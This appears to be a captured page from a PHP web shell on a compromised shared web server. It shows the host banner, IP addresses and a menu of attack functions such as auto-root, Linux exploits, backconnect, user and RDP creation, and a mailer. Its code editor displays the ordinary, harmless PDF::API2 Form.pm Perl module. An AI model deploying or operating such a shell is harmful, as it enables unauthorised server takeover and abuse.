Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
PDF /
API2 /
Resource /
XObject /
[ HOME SHELL ]
Name
Size
Permission
Action
Form
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Form.pm
1.75
KB
-rw-r--r--
Image.pm
2.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Form.pm
package PDF::API2::Resource::XObject::Form; use base 'PDF::API2::Resource::XObject'; use strict; use warnings; our $VERSION = '2.043'; # VERSION use PDF::API2::Basic::PDF::Utils; =head1 NAME PDF::API2::Resource::XObject::Form - Base class for external form objects =head1 METHODS =over =item $form = PDF::API2::Resource::XObject::Form->new($pdf) Creates a form resource. =cut sub new { my ($class, $pdf, $name) = @_; my $self = $class->SUPER::new($pdf, $name); $self->subtype('Form'); $self->{'FormType'} = PDFNum(1); return $self; } =item ($llx, $lly, $urx, $ury) = $form->bbox($llx, $lly, $urx, $ury) Get or set the coordinates of the form object's bounding box =cut sub bbox { my $self = shift(); if (scalar @_) { $self->{'BBox'} = PDFArray(map { PDFNum($_) } @_); } return map { $_->val() } $self->{'BBox'}->elements(); } =item $resource = $form->resource($type, $key) =item $form->resource($type, $key, $object, $force) Get or add a resource required by the form's contents, such as a Font, XObject, ColorSpace, etc. By default, an existing C<$key> will not be overwritten. Set C<$force> to override this behavior. =cut sub resource { my ($self, $type, $key, $object, $force) = @_; # we are a self-contained content stream. $self->{'Resources'} ||= PDFDict(); my $dict = $self->{'Resources'}; $dict->realise() if ref($dict) =~ /Objind$/; $dict->{$type} ||= PDFDict(); $dict->{$type}->realise() if ref($dict->{$type}) =~ /Objind$/; unless (defined $object) { return $dict->{$type}->{$key} || undef; } if ($force) { $dict->{$type}->{$key} = $object; } else { $dict->{$type}->{$key} ||= $object; } return $dict; } =back =cut 1;
Close